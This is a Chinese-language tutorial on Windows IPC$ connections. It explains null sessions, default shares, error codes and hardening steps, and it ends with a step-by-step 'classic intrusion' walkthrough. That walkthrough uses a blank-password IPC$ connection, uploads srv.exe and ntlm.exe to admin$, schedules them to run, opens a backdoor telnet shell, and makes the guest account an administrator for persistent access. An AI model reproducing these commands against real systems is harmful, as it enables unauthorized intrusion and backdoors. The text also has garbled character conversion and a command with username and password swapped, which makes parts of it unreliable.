天天看點

IPC$詳細介紹

IPC$詳細介紹 

什麼是ipc$

IPC$(Internet Process Connection)是共享"命名管道"的資源(大家都是這麼說的),它是為了讓程序間通信而開放的命名管道,可以通過驗證使用者名和密碼獲得相應的權限,在遠端管理計算機和檢視計算機的共享資源時使用。

利用IPC$,連接配接者甚至可以與目标主機建立一個空的連接配接而無需使用者名與密碼(當然,對方機器必須開了ipc$共享,否則你是連接配接不上的),而利用這個空的連接配接,連接配接者還可以得到目标主機上的使用者清單(不過負責的管理者會禁止導出使用者清單的)。

我們總在說ipc$漏洞ipc$漏洞,其實,ipc$并不是真正意義上的漏洞,它是為了友善管理者的遠端管理而開放的遠端網絡登陸功能,而且還打開了預設共享,即所有的邏輯盤(c$,d$,e$……)和系統目錄winnt或windows(admin$)。

所有的這些,初衷都是為了友善管理者的管理,但好的初衷并不一定有好的收效,一些别有用心者(到底是什麼用心?我也不知道,代詞一個)會利用IPC$,通路共享資源,導出使用者清單,并使用一些字典工具,進行密碼探測,寄希望于獲得更高的權限,進而達到不可告人的目的.

解惑:

1)IPC連接配接是Windows NT及以上系統中特有的遠端網絡登陸功能,其功能相當于Unix中的Telnet,由于IPC$功能需要用到Windows NT中的很多DLL函數,是以不能在Windows 9.x中運作。

也就是說隻有nt/2000/xp才可以建立ipc$連接配接,98/me是不能建立ipc$連接配接的(但有些朋友說在98下能建立空的連接配接,不知道是真是假,不過現在都2004年了,建議98的同志換一下系統吧,98不爽的)

2)即使是空連接配接也不是100%都能建立成功,如果對方關閉了ipc$共享,你仍然無法建立連接配接

3)并不是說建立了ipc$連接配接就可以檢視對方的使用者清單,因為管理者可以禁止導出使用者清單

建立ipc$連接配接在hack攻擊中的作用

就像上面所說的,即使你建立了一個空的連接配接,你也可以獲得不少的資訊(而這些資訊往往是入侵中必不可少的),通路部分共享,如果你能夠以某一個具有一定權限的使用者身份登陸的話,那麼你就會得到相應的權限。

不過你也不要高興的太早,因為管理者的密碼不是那麼好搞到的,雖然會有一些傻傻的管理者用空密碼或者弱智密碼,但這畢竟是少數,而且現在不比從前了,随着人們安全意識的提高,管理者們也愈加小心了,得到管理者密碼會越來越難的

是以今後你最大的可能就是以極小的權限甚至是沒有權限進行連接配接,你會慢慢的發現ipc$連接配接并不是萬能的,甚至在主機不開啟ipc$共享時,你根本就無法連接配接.

是以我認為,你不要把ipc$入侵當作終極武器,不要認為它戰無不勝,它就像是足球場上射門前的傳球,很少會有緻命一擊的效果,但卻是不可缺少的,我覺得這才是ipc$連接配接在hack入侵中的意義所在.

ipc$與空連接配接,139,445端口,預設共享的關系

以上四者的關系可能是菜鳥很困惑的一個問題,不過大部分文章都沒有進行特别的說明,其實我了解的也不是很透徹,都是在與大家交流中總結出來的。

1)ipc$與空連接配接:

不需要使用者名與密碼的ipc$連接配接即為空連接配接,一旦你以某個使用者或管理者的身份登陸(即以特定的使用者名和密碼進行ipc$連接配接),自然就不能叫做空連接配接了.

許多人可能要問了,既然可以空連接配接,那我以後就空連接配接好了,為什麼還要費九牛二虎之力去掃描弱密碼,呵呵,原因前面提到過,當你以空連接配接登陸時,你沒有任何權限(很郁悶吧),而你以使用者或管理者的身份登陸時,你就會有相應的權限(有權限誰不想呀,是以還是老老實實掃吧,不要偷懶喲).

2)ipc$與139,445端口:

ipc$連接配接可以實作遠端登陸及對預設共享的通路;而139端口的開啟表示netbios協定的應用,我們可以通過139,445(win2000)端口實作對共享檔案/列印機的通路,是以一般來講,ipc$連接配接是需要139或445端口來支援的.

3)ipc$與預設共享

預設共享是為了友善管理者遠端管理而預設開啟的共享(你當然可以關閉它),即所有的邏輯盤(c$,d$,e$……)和系統目錄winnt或windows(admin$),我們通過ipc$連接配接可以實作對這些預設共享的通路(前提是對方沒有關閉這些預設共享)

ipc$連接配接失敗的原因

以下5個原因是比較常見的:

1)你的系統不是NT或以上作業系統;

2)對方沒有打開ipc$預設共享

3)對方未開啟139或445端口(惑被防火牆屏蔽)

4)你的指令輸入有誤(比如缺少了空格等)

5)使用者名或密碼錯誤(空連接配接當然無所謂了)

另外,你也可以根據傳回的錯誤号分析原因:

錯誤号5,拒絕通路 : 很可能你使用的使用者不是管理者權限的,先提升權限;

錯誤号51,Windows 無法找到網絡路徑 : 網絡有問題;

錯誤号53,找不到網絡路徑 : ip位址錯誤;目标未開機;目标lanmanserver服務未啟動;目标有防火牆(端口過濾);

錯誤号67,找不到網絡名 : 你的lanmanworkstation服務未啟動;目标删除了ipc$;

錯誤号1219,提供的憑據與已存在的憑據集沖突 : 你已經和對方建立了一個ipc$,請删除再連。

錯誤号1326,未知的使用者名或錯誤密碼 : 原因很明顯了;

錯誤号1792,試圖登入,但是網絡登入服務沒有啟動 : 目标NetLogon服務未啟動。(連接配接域控會出現此情況)

錯誤号2242,此使用者的密碼已經過期 : 目标有帳号政策,強制定期要求更改密碼。

關于ipc$連不上的問題比較複雜,除了以上的原因,還會有其他一些不确定因素,在此本人無法詳細而确定的說明,就靠大家自己體會和試驗了.

如何打開目标的IPC$

首先你需要獲得一個不依賴于ipc$的shell,比如sql的cmd擴充、telnet、木馬,當然,這shell必須是admin權限的,然後你可以使用shell執行指令 net share ipc$ 來開放目标的ipc$。從上面可以知道,ipc$能否使用還有很多條件。請确認相關服務都已運作,沒有就啟動它(不知道怎麼做的請看net指令的用法),還是不行的話(比如有防火牆,殺不了)建議放棄。

如何防範ipc$入侵

1禁止空連接配接進行枚舉(此操作并不能阻止空連接配接的建立,引自《解剖win2000下的空會話》)

首先運作regedit,找到如下組建[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA]把RestrictAnonymous = DWORD的鍵值改為:00000001(如果設定為2的話,有一些問題會發生,比如一些WIN的服務出現問題等等)

2禁止預設共享

1)察看本地共享資源

運作-cmd-輸入net share

2)删除共享(每次輸入一個)

net share ipc$ /delete

net share admin$ /delete

net share c$ /delete

net share d$ /delete(如果有e,f,……可以繼續删除)

3)停止server服務

net stop server /y (重新啟動後server服務會重新開啟)

4)修改系統資料庫

運作-regedit

server版:找到如下主鍵[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareServer(DWORD)的鍵值改為:00000000。

pro版:找到如下主鍵[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareWks(DWORD)的鍵值改為:00000000。

如果上面所說的主鍵不存在,就建立(右擊-建立-雙位元組值)一個主健再改鍵值。

3永久關閉ipc$和預設共享依賴的服務:lanmanserver即server服務

控制台-管理工具-服務-找到server服務(右擊)-屬性-正常-啟動類型-已禁用

4安裝防火牆(選中相關設定),或者端口過濾(濾掉139,445等),或者用新版本的優化大師

5設定複雜密碼,防止通過ipc$窮舉密碼

相關指令

1)建立空連接配接:

net use \\IP\ipc$ "" /user:"" (一定要注意:這一行指令中包含了3個空格)

2)建立非空連接配接:

net use \\IP\ipc$ "使用者名" /user:"密碼" (同樣有3個空格)

3)映射預設共享:

net use z: \\IP\c$ "密碼" /user:"使用者名" (即可将對方的c盤映射為自己的z盤,其他盤類推)

如果已經和目标建立了ipc$,則可以直接用IP+盤符+$通路,具體指令 net use z: \\IP\c$

4)删除一個ipc$連接配接

net use \\IP\ipc$ /del

5)删除共享映射

net use c: /del 删除映射的c盤,其他盤類推

net use * /del 删除全部,會有提示要求按y确認

經典入侵模式

這個入侵模式太經典了,大部分ipc教程都有介紹,我也就拿過來引用了,在此感謝原創作者!(不知道是哪位前輩)

1. C:\>net use \\127.0.0.1\IPC$ "" /user:"admintitrators"

這是用《流光》掃到的使用者名是administrators,密碼為"空"的IP位址(空密碼?哇,運氣好到家了),如果是打算攻擊的話,就可以用這樣的指令來與127.0.0.1建立一個連接配接,因為密碼為"空",是以第一個引号處就不用輸入,後面一個雙引号裡的是使用者名,輸入administrators,指令即可成功完成。

  

2. C:\>copy srv.exe \\127.0.0.1\admin$

先複制srv.exe上去,在流光的Tools目錄下就有(這裡的$是指admin使用者的c:\winnt\system32\,大家還可以使用c$、d$,意思是C槽與D盤,這看你要複制到什麼地方去了)。

3. C:\>net time \\127.0.0.1

查查時間,發現127.0.0.1 的目前時間是 2002/3/19 上午 11:00,指令成功完成。

4. C:\>at \\127.0.0.1 11:05 srv.exe

用at指令啟動srv.exe吧(這裡設定的時間要比主機時間快,不然你怎麼啟動啊,呵呵!)

5. C:\>net time \\127.0.0.1

再查查到時間沒有?如果127.0.0.1 的目前時間是 2002/3/19 上午 11:05,那就準備開始下面的指令。

6. C:\>telnet 127.0.0.1 99

這裡會用到Telnet指令吧,注意端口是99。Telnet預設的是23端口,但是我們使用的是SRV在對方計算機中為我們建立一個99端口的Shell。

雖然我們可以Telnet上去了,但是SRV是一次性的,下次登入還要再激活!是以我們打算建立一個Telnet服務!這就要用到ntlm了

7.C:\>copy ntlm.exe \\127.0.0.1\admin$

用Copy指令把ntlm.exe上傳到主機上(ntlm.exe也是在《流光》的Tools目錄中)。

8. C:\WINNT\system32>ntlm

輸入ntlm啟動(這裡的C:\WINNT\system32>指的是對方計算機,運作ntlm其實是讓這個程式在對方計算機上運作)。當出現"DONE"的時候,就說明已經啟動正常。然後使用"net start telnet"來開啟Telnet服務!

9. Telnet 127.0.0.1,接着輸入使用者名與密碼就進入對方了,操作就像在DOS上操作一樣簡單!(然後你想做什麼?想做什麼就做什麼吧,哈哈)

為了以防萬一,我們再把guest激活加到管理組

10. C:\>net user guest /active:yes

将對方的Guest使用者激活

11. C:\>net user guest 1234

将Guest的密碼改為1234,或者你要設定的密碼

12. C:\>net localgroup administrators guest /add

将Guest變為Administrator^_^(如果管理者密碼更改,guest帳号沒改變的話,下次我們可以用guest再次通路這台計算機)

繼續閱讀